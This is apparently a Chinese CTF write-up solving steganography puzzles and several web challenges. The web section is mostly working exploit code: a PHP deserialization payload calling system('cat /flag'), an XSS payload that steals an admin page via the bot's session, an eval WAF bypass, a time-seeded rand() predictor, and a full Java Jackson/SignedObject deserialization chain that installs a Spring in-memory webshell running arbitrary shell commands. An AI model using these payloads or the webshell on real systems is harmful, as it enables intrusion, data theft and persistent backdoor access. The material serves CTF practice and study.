Misc
number gamenumber game
打开 F12 查看前端源码,发现这有一段代码挺可疑的,这里直接拿到控制台跑一下就行
var _0x14184c = [0x38, 0x6f, 0x1e, 0x24, 0x1, 0x32, 0x51, 0x45, 0x1, 0x3c, 0x24, 0xb, 0x55, 0x38, 0xa, 0x5d, 0x28, 0x12, 0x33, 0xb, 0x5d, 0x20, 0x1e, 0x46, 0x17, 0x3d, 0x10, 0x2a, 0x41, 0x44, 0x49, 0x1a, 0x31, 0x5a]
, _0x477866 = '';
for (var _0x6698b7 = 0x0; _0x6698b7 < _0x14184c['length']; _0x6698b7++)
_0x477866 += String[_0x38f496(0xd9)](_0x14184c[_0x6698b7] ^ _0x6698b7 + 0x5a);
alert(_0x477866);
Steins_Gate
图片像素由嘟噜组成,并且每个字所占像素大小相同,并且颜色渐变,猜测 lsb 隐写要从字中提取像素
每个字是 16*16,尝试提取中心点等尝试不对;考虑到字都有一个口字旁,且其所占像素位置一致,尝试提取
发现 lsb 隐写有个 base64 编码,是一个多行的 base64,且每一行都有两个等号,两个等号后有一些杂数据,去除
from PIL import Image
import libnum
img = Image.open('Steins_Gate.png')
f=open('rgb.txt','wb')
width,height=img.size
for i in range(6,height,16):
try:
bins = ""
for j in range(2,width,16):
tmp = img.getpixel((j,i))
bins += str(tmp[0] & 1) + str(tmp[1] & 1) + str(tmp[2] & 1)
data = libnum.b2s(bins)
print(data.index(b"=="))
f.write(data[:data.index(b"==")+2]+b"\n")
except:
break
然后 base64 解密得到一个 jpg,同时多行 base64,明显 base64 隐写
import base64
bin_str=''
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('rgb.txt','r') as f:
for line in f.readlines():
stegb64="".join(line.split())
rowb64="".join(str(base64.b64encode(base64.b64decode(stegb64)),'utf-8').split())
offset=abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=', '')[-1]))
equalnum=line.count('=')
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
#print(bin_str)
print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0,len(bin_str),8)]))
得到 DuDuLu~T0_Ch3@t_THe_w0r1d,猜测 jpg 隐写,逐格尝试,发现是 outguess
Ez_misc
看 yuanshen 文件明显是一个字节颠倒的 jpg
steghide 隐写
Web
Easy php
反序列化
<?php
class AAA{
public $cmd;
}
class BBB{
public $param1;
}
class CCC{
public $func;
}
$b = new BBB();
$a = new AAA();
$c = new CCC();
$b->param1 = $c;
$c->func = $a;
$a->cmd = "system('cat /flag');";
echo urlencode(serialize($b));
my2to
Xssbot
题目的 flag 在 admin 的页面,所以得想办法 XSS 来获取 admin 的页面;审计代码发现存在文件上传接口
所以可以上传一个恶意的 html 文件进行 XSS,但由于题目环境不出网,所以得想办法外带 flag;这里还是可以利用题目给的文件上传接口来讲 flag 写入 public/uploads
<script>
if(document.domain != "localhost") {
location = "http://localhost/uploads/attack.html";
}else{
fetch("/todo", {method: "GET", credentials: "include"})
.then(res => res.text())
.then(data => {
var blob = new Blob([data], { type: 'text/plain' });
var formData = new FormData();
formData.append('file', blob, 'result.txt');
fetch('/api/upload', {
method: 'POST',
body: formData,
});});
}
</script>
上传后,触发 bot 访问
Can you read flag
开局一个注释 //eval($_GET[a]);
直接 /?a=system('whoami');
发现有 waf
使用 file_get_contents
尝试读 index.php 得到
ban 了一些东西,直接再套一层 eval
轻松绕过
但直接读 flag 没有权限,运行 /readflag
又需要交互式的 shell 去计算给的值。
但查看/tmp/src 目录下的源码,可以发现题目 /readflag
的源码,其随机数生成有缺陷,种子是 time(0),因此可以写一个 c 语言程序,得到 10 秒之后的结果,输出到文件里,再将文件重定向给/readflag,即可通过计算题检查
int main(){
unsigned int v3 = time(0)+10;
unsigned int v9;
unsigned int v10;
srand(v3);
int v11 = rand() % 101 + 100;
printf("y\n");
for (int i = 0; i < v11; ++i){
v10 = rand() % 1000000;
v9 = rand() % 9000000;
printf("%d\n", v10+v9);
}
}
secObj
题目给了 jar 包,审计发现存在反序列化接口
但过滤了一些类,然后这里其实可以使用 jackson 链 + 二次反序列化 +HotSwappableTargetSource 来绕过
package com.example.demo.exp;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
//内存马
byte[] bytes = Repository.lookupClass(MemShell.class).getBytes();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "aaaa");
setFieldValue(templatesImpl, "_tfactory", null);
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject((Serializable) proxyObj, privateKey, signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
}
内存马
package com.example.demo.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
//springboot 2.6 + 内存马
public class MemShell extends AbstractTranslet {
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = MemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
MemShell springControllerMemShell = new MemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
// hi.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
然后就是绕过 spring security 了,注意这里只用了一个 *
,所以存在绕过;最后加上 _csrf
token 即可